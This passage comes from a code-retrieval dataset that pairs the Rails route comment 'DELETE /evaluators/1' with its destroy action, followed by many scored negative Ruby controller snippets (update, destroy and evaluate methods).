@occasion, notice: 'Occasion was successfully updated.' }\n format.json { render :show, status: :ok, location: @occasion }\n else\n format.html { render :edit }\n format.json { render json: @occasion.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # ToDo: 名前の変更\n score = params[:score]\n \n\n if @evaluation.update_attributes(score: score)\n render :show, status: :ok, location: @evaluation\n else\n render json: @evaluation.errors, status: :unprocessable_entity\n end\n end", "def edit_recepce\n @value = 0\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @operator_plan }\n end\n end", "def update\n respond_to do |format|\n if @expression.update_attributes expression_params\n format.html { redirect_to @expression, notice: 'Expression was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @expression.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_evaluation\n @evaluation = Evaluation.find(params[:id])\n end", "def put(uri, xml)\r\n req = Net::HTTP::Put.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end", "def update\n @matrix_evaluation_type = MatrixEvaluationType.find(params[:id])\n\n respond_to do |format|\n if @matrix_evaluation_type.update_attributes(params[:matrix_evaluation_type])\n format.html { redirect_to @matrix_evaluation_type, :notice => 'Avaliação de Matriz atualizada com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @matrix_evaluation_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @predicition = Predicition.find(params[:id])\n\n respond_to do |format|\n if @predicition.update_attributes(params[:predicition])\n flash[:notice] = 'Predicition was successfully updated.'\n format.html { redirect_to(@predicition) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @predicition.errors, :status => :unprocessable_entity }\n end\n end\n end" ]
[ "0.6051337", "0.58860713", "0.57398343", "0.57144755", "0.56676656", "0.56303316", "0.56198335", "0.56019086", "0.5576047", "0.5538394", "0.5536711", "0.55187345", "0.55121624", "0.5458575", "0.54212207", "0.53900814", "0.5379518", "0.5348556", "0.53291637", "0.53169364", "0.52947295", "0.52779144", "0.52748114", "0.5268474", "0.5258653", "0.5258653", "0.5247015", "0.52261263", "0.5221131", "0.52208", "0.52178067", "0.5214149", "0.5214149", "0.5214149", "0.5211693", "0.52001894", "0.51950324", "0.51947194", "0.51842827", "0.5161965", "0.51605844", "0.5158619", "0.5152039", "0.5146304", "0.5138591", "0.5117792", "0.51022464", "0.5093279", "0.5078294", "0.50457376", "0.50367475", "0.5019315", "0.49884602", "0.49757728", "0.49757728", "0.49757728", "0.49757728", "0.49757728", "0.49757728", "0.49757728", "0.49757728", "0.49757728", "0.49757728", "0.49757728", "0.49757728", "0.49757728", "0.49757728", "0.49757728", "0.49757728", "0.49737108", "0.49711084", "0.49616143", "0.49605796", "0.49528202", "0.49484226", "0.4941723", "0.49323657", "0.49313858", "0.49298528", "0.49288648", "0.48962453", "0.4892826", "0.4880587", "0.4878843", "0.48769844", "0.48743662", "0.48723218", "0.4869946", "0.4863529", "0.4860716", "0.4854351", "0.48472312", "0.4847021", "0.48403457", "0.4837916", "0.4831689", "0.48060098", "0.47762847", "0.47729376", "0.4767648" ]
0.57602596
2
DELETE /evaluators/1 DELETE /evaluators/1.xml
def destroy @evaluator.destroy respond_to do |format| format.html { redirect_to(evaluators_url) } format.xml { head :ok } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @evaluacione = Evaluacione.find(params[:id])\n @evaluacione.destroy\n\n respond_to do |format|\n format.html { redirect_to(evaluaciones_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @evaluation = Evaluation.find(params[:id])\n @evaluation.destroy\n\n respond_to do |format|\n format.html { redirect_to(evaluations_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @evaluation = Evaluation.find(params[:id])\n @evaluation.destroy\n\n respond_to do |format|\n format.html { redirect_to(evaluations_url) }\n format.xml { head :ok }\n end\n end", "def destroy\r\n @evaluation = Evaluation.find(params[:id])\r\n @evaluation.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(evaluations_url) }\r\n format.xml { head :ok }\r\n end\r\n end", "def destroy\n @eval = Eval.find(params[:id])\n @eval.destroy\n redirect_to(evals_url)\n end", "def destroy\n @test_subject_evaluation = @test_subject.test_subject_evaluations.find(params[:id])\n @test_subject_evaluation.destroy\n\n respond_to do |format|\n format.html { redirect_to(test_subject_test_subject_evaluations_url(@test_subject)) }\n format.xml { head :ok }\n end\n end", "def destroy\n @evaluacion = Evaluacion.find(params[:id])\n @evaluacion.destroy\n\n respond_to do |format|\n format.html { redirect_to evaluaciones_url }\n format.json { head :no_content }\n end\n end", "def delete!\n Recliner.delete(uri)\n end", "def destroy\n @evaluation = Evaluation.find(params[:id])\n @evaluation.destroy\n\n respond_to do |format|\n format.html { redirect_to evaluations_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @expression = Expression.find(params[:id])\n @expression.destroy\n\n respond_to do |format|\n format.html { redirect_to(expressions_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @evaluation_criterium = EvaluationCriterium.find(params[:id])\n @evaluation_criterium.destroy\n\n respond_to do |format|\n format.html { redirect_to evaluation_criteria_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @evaluation.destroy\n respond_to do |format|\n format.html { redirect_to evaluations_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @evaluation.destroy\n respond_to do |format|\n format.html { redirect_to evaluations_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @evaluate.destroy\n respond_to do |format|\n format.html { redirect_to evaluates_url, notice: 'Evaluate was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @evaluation.destroy\n respond_to do |format|\n format.html { redirect_to evaluations_url, notice: 'La evaluación fue eliminada satisfactoriamente' }\n format.json { head :no_content }\n end\n end", "def destroy\n @evaluate_course = EvaluateCourse.find(params[:id])\n @evaluate_course.destroy\n\n respond_to do |format|\n format.html { redirect_to(evaluate_courses_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @expectation = RiGse::Expectation.find(params[:id])\n @expectation.destroy\n\n respond_to do |format|\n format.html { redirect_to(expectations_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @evaluare = Evaluare.find(params[:id])\n @evaluare.destroy\n\n respond_to do |format|\n format.html { redirect_to evaluares_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @evaluation.destroy\n end", "def netdev_resxml_delete( xml )\n top = netdev_resxml_top( xml )\n par = top.instance_variable_get(:@parent)\n par['delete'] = 'delete'\n end", "def delete\n Iterable.request(conf, base_path).delete\n end", "def destroy\n @evaluation.destroy\n respond_to do |format|\n format.html { redirect_to evaluations_url, notice: 'Avaliação deletada.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @evaluation.destroy\n respond_to do |format|\n format.html { redirect_to course_evaluations_url, notice: 'La evaluación fue eliminada correctamente!' }\n end\n end", "def destroy\n entry = @evaluation.entry\n @evaluation.destroy\n respond_to do |format|\n format.html { redirect_to evaluations_url, notice: 'Evaluation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @evaluation.destroy\n flash[:success] = 'Eliminado correctamente'\n redirect_to evaluations_url\n end", "def destroy\n @rcrieval = Rcrieval.find(params[:id])\n @rcrieval.destroy\n\n respond_to do |format|\n format.html { redirect_to rcrievals_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @qc_evaluation = QcEvaluation.find(params[:id])\n @qc_evaluation.destroy\n\n respond_to do |format|\n format.html { redirect_to qc_evaluations_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @evaluation.destroy\n respond_to do |format|\n format.html { redirect_to evaluations_url, notice: 'evaluation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @evaluation.destroy\n respond_to do |format|\n format.html { redirect_to evaluations_url, notice: 'Evaluation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @evaluation.destroy\n respond_to do |format|\n format.html { redirect_to evaluations_url, notice: 'Evaluation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @evaluation.destroy\n respond_to do |format|\n format.html { redirect_to evaluations_url, notice: 'Evaluation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @evaluation.destroy\n respond_to do |format|\n format.html { redirect_to evaluations_url, notice: 'Evaluation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @evaluation.destroy\n respond_to do |format|\n format.html { redirect_to evaluations_url, notice: 'Evaluation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @evaluation.destroy\n respond_to do |format|\n format.html { redirect_to evaluations_url, notice: 'Evaluation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete_all(xpath); end", "def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end", "def destroy\r\n @evaluacione.destroy\r\n respond_to do |format|\r\n format.html { redirect_to evaluaciones_url, notice: 'Evaluacione was successfully destroyed.' }\r\n format.json { head :no_content }\r\n end\r\n end", "def destroy\n @evaluo.destroy\n respond_to do |format|\n format.html { redirect_to evaluos_url, notice: 'Evaluo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @evaluation_result = EvaluationResult.find(params[:id])\n @evaluation_result.destroy\n\n respond_to do |format|\n format.html { redirect_to evaluation_results_url }\n format.json { head :no_content }\n end\n end", "def delete_data(index_name)\n uri = @client.make_uri(\"/#{index_name}/update/\")\n req = HTTP::Post.new(uri)\n req.content_type = 'text/xml'\n req.body = '<delete><query>*:*</query></delete>'\n response = @client.send_http(req, true, ['200'])\n end", "def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end", "def destroy\n @evaluation.destroy\n respond_to do |format|\n format.html { redirect_to evaluations_url, notice: 'Evaluation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @evaluation.destroy\n redirect_to action: \"index\", notice: 'Evaluation was successfully destroyed.' \n end", "def destroy()\n urn_check()\n @sparql.delete([ @urn, :p, :o ])\n @sparql.delete([ :s, :p, @urn ])\n end", "def destroy\n @exp = Exp.find(params[:id])\n @exp.destroy\n\n respond_to do |format|\n format.html { redirect_to(exps_url) }\n format.xml { head :ok }\n end\n end", "def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end", "def delete_analysis(analysis_id); rest_delete(\"#{link('analyses')}/#{analysis_id}\"); nil; end", "def deleteExecution(execution_id)\n uri = URI(RUNDECKSERVER + ':' + RUNDECKPORT + '/api/12/execution/' + execution_id)\n http = Net::HTTP.new(uri.host, uri.port)\n headers = {'Content-Type'=> 'application/jsonr','X-RunDeck-Auth-Token'=> API_KEY }\n r = http.delete(uri.path, headers) \n return r\nend", "def destroy\n @psicologic_evaluation.destroy\n respond_to do |format|\n format.html { redirect_to psicologic_evaluations_url, notice: 'Psicologic evaluation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete(name)\n @driver.deleteRule([name])\n end", "def destroy\n @anstoeval.destroy\n respond_to do |format|\n format.html { redirect_to anstoevals_url, notice: 'anstoeval was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @evaluation.destroy\n respond_to do |format|\n format.html { redirect_to evaluations_url, notice: '答题记录已被删除' }\n format.json { head :no_content }\n end\n end", "def destroy\n @retain_node_selector = RetainNodeSelector.find(params[:id])\n @retain_node_selector.destroy\n\n respond_to do |format|\n format.html { redirect_to(retain_node_selectors_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @application_expr = ApplicationExpr.find(params[:id])\n @application_expr.destroy\n\n respond_to do |format|\n format.html { redirect_to(application_exprs_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @expectation_stem = RiGse::ExpectationStem.find(params[:id])\n @expectation_stem.destroy\n\n respond_to do |format|\n format.html { redirect_to(expectation_stems_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @predicate = Predicate.find(params[:id])\n @predicate.destroy\n\n respond_to do |format|\n format.html { redirect_to predicates_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @assertion.destroy\n respond_to do |format|\n format.html { redirect_to assertions_url, notice: 'Assertion was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def file_delete(node, file)\n _out, _local, _remote, code = node.test_and_store_results_together(\"rm #{file}\", 'root', 500)\n code\nend", "def file_delete(node, file)\n _out, _local, _remote, code = node.test_and_store_results_together(\"rm #{file}\", 'root', 500)\n code\nend", "def destroy\n @student_goal_evaluation.destroy\n respond_to do |format|\n format.html { redirect_to student_goal_evaluations_url, notice: 'Evalueringen er slettet.' }\n format.json { head :no_content }\n end\n end", "def delete\n\t\tdb.execute{ \"delete edge #{ref_name} #{rrid}\" }\n\tend", "def delete\n execute_request('DELETE') do |uri, headers|\n HTTP.http_client.delete(uri, header: headers)\n end\n end", "def destroy\n @evaluationstatus = Evaluationstatus.find(params[:id])\n @evaluationstatus.destroy\n\n respond_to do |format|\n format.html { redirect_to evaluationstatuses_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @expression.destroy\n respond_to do |format|\n format.html { redirect_to expressions_url }\n format.json { head :ok }\n end\n end", "def delete\n association.delete association[element.dataset[:index].to_i]\n end", "def destroy\n chef_server_rest.delete(\"nodes/#{name}\")\n end", "def delete\n request(:delete)\n end", "def destroy\n @evaluation.destroy\n\n respond_to do |format|\n format.html {redirect_to customer_path(current_customer)}\n format.json {head :no_content}\n end\n end", "def test_set3_04c_delete_principal()\n user = \"test_user\"\n @test_acl.create_principal(user)\n id = @test_acl.create_ace(user, \"allow\", \"SELECT\", \"test\", \"/db/temporary/testsource\")\n \n @test_acl.delete_principal(user)\n query = \"doc(\\\"#{@col_path}acl.xml\\\")//node()[@id=\\\"#{id}\\\"]\"\n handle = @db.execute_query(query)\n hits = @db.get_hits(handle)\n assert_equal(0, hits)\n end", "def del\n delete\n end", "def cmd_delete argv\n setup argv\n e = @hash['element']\n response = @api.delete(e)\n msg response\n return response\n end", "def destroy\n @config_xml = ConfigXml.find(params[:id])\n @config_xml.destroy\n\n respond_to do |format|\n format.html { redirect_to(config_xmls_url) }\n format.xml { head :ok }\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end", "def destroy\n @checkpoint_removed = CheckpointRemoved.find(params[:id])\n @checkpoint_removed.destroy\n\n respond_to do |format|\n format.html { redirect_to(checkpoint_removeds_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @restaurant_evaluation.destroy\n respond_to do |format|\n format.html { redirect_to restaurant_evaluations_url, notice: 'Restaurant evaluation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete(value)\n find_node(value)&.delete\n end", "def destroy\n respond_to do |format|\n if @evaluation.destroy\n format.html { redirect_to course_evaluations_path(@course), notice: 'La evaluación fue eliminada con éxito.' }\n format.json { head :no_content }\n else\n format.html { render :show }\n format.json { render json: @evaluation.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy1\n @compare = Compare.find(params[:id])\n @compare.destroy\n\n respond_to do |format|\n format.html { redirect_to(compares_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n node = @job.nodes.find(params[:id])\n @job.nodes.delete(node)\n\n respond_to do |format|\n format.html { redirect_to job_url(@job) }\n format.xml { head :ok }\n end\n end", "def destroy\n @user_testcase_xref = UserTestcaseXref.find(params[:id])\n @user_testcase_xref.destroy\n\n respond_to do |format|\n format.html { redirect_to(user_testcase_xrefs_url) }\n format.xml { head :ok }\n end\n end", "def test_set3_06b_delete_res_object()\n user = \"test_user\"\n priv = \"test_privilege\"\n res_ob_type = \"test\"\n res_ob_adr = \"/db/temporary/testsource\"\n \n @test_acl.create_principal(user)\n @test_acl.create_resource_object(res_ob_type, res_ob_adr, user)\n id = @test_acl.create_ace(user, \"allow\", priv, res_ob_type, res_ob_adr)\n \n @test_acl.delete_res_object(res_ob_type, res_ob_adr)\n query = \"doc(\\\"#{@col_path}acl.xml\\\")//node()[@id=\\\"#{id}\\\"]\"\n handle = @db.execute_query(query)\n hits = @db.get_hits(handle)\n assert_equal(0, hits)\n end", "def destroy\n @evaluation_builder.destroy\n respond_to do |format|\n format.html { redirect_to event_evaluation_builders_url(@event), notice: 'Evaluation builder was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete(*uris); end", "def delete_demo(id)\n delete_record \"/demos/#{id}\"\n end", "def destroy\n @formula.destroy\n\n respond_to do |format|\n format.html { redirect_to(formulas_url) }\n format.xml { head :ok }\n end\n end", "def delete\n @user = User.find(params[:id])\n @user.rvsps.delete_all()\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "def delete\n redis.eval(LUA_SCRIPT_DELETE, :keys => [build_key('*')])\n end", "def destroy\n @competency_pertenece_evaluation = CompetencyPerteneceEvaluation.find(params[:id])\n @competency_pertenece_evaluation.destroy\n\n respond_to do |format|\n format.html { redirect_to competency_pertenece_evaluations_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @node_config = NodeConfig.destroy(params[:id])\n xml=@node_config.to_xml\n json=@node_config.to_json\n @node_config.destroy\n\n respond_to do |format|\n format.html { redirect_to(node_configs_url) }\n format.json { render :json => json}\n format.xml { render :xml => xml}\n end\n end", "def destroy\n @performance_evaluation.destroy\n respond_to do |format|\n format.html { redirect_to performance_evaluations_url, notice: 'Performance evaluation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @tax_computation = TaxComputation.find(params[:id])\n @tax_computation.destroy\n\n respond_to do |format|\n format.html { redirect_to(tax_computations_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @incrustation_tmp = @incrustation.dup\n @incrustation.destroy\n record_activity(@incrustation_tmp)\n respond_to do |format|\n format.html { redirect_to admin_incrustations_url, notice: 'Вставка была успешно удалена.' }\n format.json { head :no_content }\n end\n end", "def delete(path)\n exec { index.delete(path) }\n end", "def destroy; delete end", "def delete(name)\n @ctx.delete(@path + name)\n end", "def destroy\n @score_evaluation = ScoreEvaluation.find(params[:id])\n @score_evaluation.destroy\n \n respond_to do |format|\n format.html { redirect_to score_evaluations_url }\n format.json { head :no_content }\n format.js\n end\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def delete path\n make_request(path, \"delete\", {})\n end", "def delete_evaluation\n @place = Place.find(params[:id])\n @evaluation = PlaceEvaluation.find(params[:evaluation_id])\n\n # if the records were found and the user is a site admin or is the owner of the eval,\n # contine\n if @place.present? && @evaluation.present? && \n (current_user.role?(User::ROLES[:site_admin]) || current_user.id == @evaluation.user_id)\n is_certified = @evaluation.is_certified\n\n # delete the evaluation\n @evaluation.destroy\n\n # if no evals left in this type, delete summary for type\n # else run summary for type\n num_evals = PlaceEvaluation.where(:place_id => @place.id, :is_certified => is_certified).count\n\n if num_evals == 0\n # no evals left delete all summaries of this type for this places\n PlaceSummary.where(:place_id => @place.id, :is_certified => is_certified).destroy_all\n else\n # some evals of this type still exist, so recompute the summarries for this type\n if is_certified == true\n PlaceSummary.update_certified_summaries(@place.id)\n else\n PlaceSummary.update_summaries(@place.id)\n end\n end\n end\n\n respond_to do |format|\n format.html { redirect_to place_path(@place.id) }\n format.json { head :ok }\n end\n\n end", "def delete\n response = WebPay.client.delete(path)\n response['deleted']\n end", "def destroy\n @criteria = Criteria.find(params[:id])\n @criteria.destroy\n\n respond_to do |format|\n format.html { redirect_to(criterias_url) }\n format.xml { head :ok }\n end\n end" ]
[ "0.6882842", "0.681412", "0.681412", "0.6778896", "0.6495405", "0.6476748", "0.639871", "0.63172853", "0.629123", "0.62126756", "0.61966735", "0.6186981", "0.6186981", "0.6178857", "0.6157606", "0.6153738", "0.61197335", "0.6116494", "0.6100623", "0.60852253", "0.6043209", "0.6042296", "0.6021417", "0.60174847", "0.60160947", "0.6014637", "0.5998802", "0.5995311", "0.5986866", "0.5986866", "0.5986866", "0.5986866", "0.5986866", "0.5986866", "0.5980697", "0.59480816", "0.59077376", "0.58911175", "0.5889777", "0.5872808", "0.58557504", "0.58506054", "0.5846658", "0.58295137", "0.58241314", "0.57967705", "0.57954293", "0.57946646", "0.57841754", "0.57819796", "0.5779886", "0.57740647", "0.5767365", "0.5755869", "0.5742118", "0.57391196", "0.5732543", "0.5715263", "0.5715263", "0.5713943", "0.5693856", "0.5693336", "0.5692879", "0.5691375", "0.5677901", "0.5676797", "0.56742144", "0.5673939", "0.5665658", "0.5654014", "0.5653986", "0.56500924", "0.5644609", "0.56418246", "0.5641317", "0.5625117", "0.56212586", "0.5615997", "0.56158084", "0.5610205", "0.5609293", "0.56091106", "0.5604934", "0.55865055", "0.55833536", "0.5579363", "0.55783206", "0.55715823", "0.55710924", "0.5566259", "0.55643123", "0.5562219", "0.5558025", "0.5555324", "0.5551424", "0.55512536", "0.55486", "0.55464935", "0.5544359", "0.5541008" ]
0.7202966
0
Ensures that storeconfigs is present before calling AbstractCollector's evaluate method
def evaluate if Puppet[:storeconfigs] != true return false end super end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def collect_exists?; collect_data_exists? || collect_module_exists?; end", "def store_instances(enabled_stores, store_configs)\n fail \"No stores have been enabled, see configuration file\" if enabled_stores.blank?\n fail \"No store configuration present, see configuration file\" if store_configs.blank?\n\n enabled_stores.collect do |store_name|\n STORES[store_name].new(\n store_configs.respond_to?(store_name) ? store_configs.send(store_name) : {}\n )\n end\n end", "def evaluate_collections\n return false if @collections.empty?\n\n exceptwrap do\n # We have to iterate over a dup of the array because\n # collections can delete themselves from the list, which\n # changes its length and causes some collections to get missed.\n Puppet::Util::Profiler.profile(_(\"Evaluated collections\"), [:compiler, :evaluate_collections]) do\n found_something = false\n @collections.dup.each do |collection|\n found_something = true if collection.evaluate\n end\n found_something\n end\n end\n end", "def load_aggregate_from_store?(agg_attribute)\n decoded_aggregate_store &&\n (decoded_aggregate_store.try(:key?, agg_attribute.name.to_s) || !self.class.aggregate_treat_undefined_attributes_as_default_value?)\n end", "def config_store; end", "def consistent?\n bound? && (store.keys & configs.keys).empty?\n end", "def init_stores\n if not @initialised\n @topic_store = services[:topic_store, @current_map]\n @file_store = services[:file_store, @current_map]\n @user_store = services[:user_store, @current_map]\n @initialised = true\n end\n end", "def fetch_store\n @store ||= self.store || create_store!\n end", "def validate(init)\n if init.has_key?('configSets')\n check_config_sets(init)\n end\n init.each do |config,config_data|\n next if config == 'configSets'\n context config do\n compare(config_data, $types)\n end\n end\nend", "def prepare_to_store\n # Check if data already collected and collect if needed\n scan_for_gender_category_and_event if @single_events.count == 0\n @single_events.each do |event|\n # Check if time standard already exists and create or update\n if TimeStandard.exists?(\n season_id: @season.id,\n gender_type_id: event.gender_type.id,\n category_type_id: event.category_type.id,\n pool_type_id: event.pool_type.id,\n event_type_id: event.event_type.id\n )\n # Exists. Needs update\n @update_events << event\n else\n # Doesn't exist. Needs insert\n @insert_events << event\n end\n end\n @update_events.count + @insert_events.count == @single_events.count\n end", "def check_configuration!\n config.check!\n end", "def has_key?(key)\n configs.has_key?(key) || store.has_key?(key) \n end", "def test_to_collector_hash_returns_bare_hash\n @manager.instance_variable_set(:@config_stack, [])\n @manager.apply_config(:eins => Proc.new { self[:one] })\n\n assert_equal(::Hash, @manager.to_collector_hash.class)\n end", "def run\n evaluate_checks if @config.key?('checks')\n evaluate_custom if @config.key?('custom')\n evaluate_and_dispatch_events\n end", "def validate_suppliers!\n data.each do |supplier_name, config|\n REQUIRED_FIELDS.each do |field|\n result = config[field]\n raise MissingFieldError.new(supplier_name, field) if (result.nil? || result.to_s.empty?)\n end\n \n validate_workers!(supplier_name, config[\"workers\"])\n end\n end", "def configure\n yield self\n if models.is_a?(Array) && models.empty? && defined?(Rails)\n Rails.logger.warn \"SitemapNotifier was configured without any models to trigger notifications. Search engines will therefore not be notified.\"\n end\n end", "def empty?\n return if @store.empty?\n end", "def collect_configs(config_files = nil, cached_hosts = nil, exclude_files = nil)\n if config_files.nil?\n config_files = Dir[File.expand_path(File.join('..', '..', 'config', '*.yml'), __FILE__)]\n config_files.concat(Dir[File.expand_path(File.join('..', '..', 'lib', 'liberty_buildpack', 'services', 'config', '*.yml'), __FILE__)])\n end\n configs = []\n config_files.reject! { |f| exclude_files.include?(File.basename(f)) } unless exclude_files.nil?\n config_files.each do |file|\n @logger.debug \"Checking #{file}\"\n begin\n config = YAML.load_file(file)\n rescue => e\n abort \"ERROR: Failed loading config #{file}: #{e}\"\n end\n next if config.nil?\n config = config[DRIVER] || config\n if repository_configuration?(config) && (File.exist?(index_path(config)) || cached_hosts.nil? || cached_hosts.include?(URI(repository_root(config)).host))\n configs.push(config)\n end\n end\n configs\n end", "def test_to_collector_hash_returns_bare_hash\n @manager.delete_all_configs_for_testing\n @manager.add_config_for_testing(:eins => proc { self[:one] })\n\n assert_equal(::Hash, @manager.to_collector_hash.class)\n end", "def check_configure\n apply_task_params(true)\n enable_variants\n unless Cache.instance[\"configuration_data\"][\"configured\"]\n if @script.autoconf\n configure\n end\n end\n end", "def evaluate_checks\n log.info(\"Evaluating Checks: '#{@config['checks'].length}'\")\n\n @config['checks'].each do |check|\n check_name = check['check']\n check_cfg = check['cfg']\n\n collect_metrics(check_name, check_cfg).each do |metric|\n status = 0\n\n # on service it will come with \"state_required\" flag\n if check_name == 'service'\n # adding defaults in case they are not set\n check_cfg = check_cfg.merge(\n 'state' => 'active',\n 'state_required' => 1\n )\n # giving a service hint by adding it's name\n check_name = \"service_#{check_cfg['name']}\"\n status = equals(metric['value'], check_cfg['state_required'])\n else\n # normal threshold evaluation\n status = evaluate(\n metric['value'],\n check_cfg['warn'],\n check_cfg['crit']\n )\n end\n\n template_variables = metric\n template_variables['cfg'] = check_cfg\n\n append_event(\n \"check_#{check_name}\",\n @tmpl.render(check['check'], template_variables),\n status,\n metric['source']\n )\n end\n end\n end", "def configure!\n raise(AlreadyConfiguredError, @configured_by) if already_configured?\n\n debug! if config.debug?\n\n configurators.each do |(group, block)|\n group group\n class_eval(&block)\n group nil\n end\n\n # Register metrics in adapters after evaluating all configuration blocks\n # to ensure that all global settings (like default tags) will be applied.\n adapters.each_value do |adapter|\n metrics.each_value do |metric|\n adapter.register!(metric)\n end\n end\n\n @configured_by = caller_locations(1, 1)[0].to_s\n end", "def store_aggregates\n raise NotImplementedError\n end", "def needs_prod_set\n\t\treturn false\n\tend", "def check_aggregator(setting_ident)\n fill_aggregator unless @aggregator\n @aggregator.has_key? setting_ident.to_s\n end", "def clean_storeconfigs(node, do_unexport=false)\n return unless Puppet[:storeconfigs] && Puppet.features.rails?\n require 'puppet/rails'\n Puppet::Rails.connect\n unless rails_node = Puppet::Rails::Host.find_by_name(node)\n Puppet.notice \"No entries found for #{node} in storedconfigs.\"\n return\n end\n\n if do_unexport\n unexport(rails_node)\n Puppet.notice \"Force #{node}'s exported resources to absent\"\n Puppet.warning \"Please wait until all other hosts have checked out their configuration before finishing the cleanup with:\"\n Puppet.warning \"$ puppet node clean #{node}\"\n else\n rails_node.destroy\n Puppet.notice \"#{node} storeconfigs removed\"\n end\n end", "def clear_collect_data; @collect_data = Hash.new; @collect_module = Hash.new; end", "def validate\n\t\tself.options.validate(self.datastore)\n\tend", "def configured?; false; end", "def check_environment\n load_rscribd\n check_config\n check_fields\n end", "def empty?\n prune\n @store.empty?\n end", "def validate_config\n # if @cfg.keys != [:user]\n unless @cfg.has_key?( :user )\n raise TaskConfigError.new \"Top level keys needs to contain 'user'\"\n end\n if (@cfg[:user].keys <=> [:collections, :works]) < 1\n raise TaskConfigError.new \"user can only contain collections and works\"\n end\n end", "def allow_evals_if_active\n update_attribute(:allow_evals, true) unless placements.filled.empty?\n end", "def empty?\n @store.empty?\n end", "def empty?\n @store.empty?\n end", "def check_collector_uri!\n raise ArgumentError, 'collector URI must be initialized' if @collector_uri.nil?\n end", "def fail_on_unevaluated\n fail_on_unevaluated_overrides\n fail_on_unevaluated_resource_collections\n end", "def is_collector?\n r = number_of_own_collectors > 0\n Chef::Log.debug(\"Ganglia::helper::is_collector? => #{r}\")\n r\n end", "def empty?\n return @store.empty?\n end", "def empty?\n return @store.empty?\n end", "def empty?\n return @store.empty?\n end", "def empty?\n return @store.empty?\n end", "def validate_config!\n valid = false\n begin\n names_to_ids # Force re-evaluation of ids\n valid = (!image_id.nil? && !flavor_id.nil? && !kernel_id.nil? && !data_center_id.nil?)\n rescue Exception => e\n add_error(e.message)\n end\n valid\n end", "def validate_load_shifting_config\n return unless type == :flex && subtype == :load_shifting\n\n source_nodes = Array(demand_source)\n\n if source_nodes.empty?\n errors.add(:demand_source, 'must be set and contain at least one node')\n end\n\n source_nodes.each do |node|\n if !Atlas::EnergyNode.exists?(node)\n errors.add(:demand_source, \"contains node #{node} which does not exist\")\n elsif Atlas::EnergyNode.find(node).merit_order&.type != :consumer\n errors.add(:demand_source, \"contains node #{node} which is not a consumer node\")\n end\n end\n end", "def load_pre_requisites\n if @yaml.nil?\n @log.info \"No configuration file specified --> returning.\"\n else\n build_catalog(\"staff\", @yaml[\"STAFF_CATALOG\"])\n build_catalog(\"student\", @yaml[\"STUDENT_CATALOG\"])\n @pre_requisites\n end\n end", "def store\n # Calculate rule memory\n (@reps.to_a + @site.layouts.to_a).each do |obj|\n rule_memory_store[obj] = action_provider.memory_for(obj).serialize\n end\n\n # Calculate checksums\n objects_to_checksum =\n site.items.to_a + site.layouts.to_a + site.code_snippets + [site.config]\n objects_to_checksum.each { |obj| checksum_store.add(obj) }\n\n # Store\n stores.each(&:store)\n end", "def should_check_user_store(user)\n if 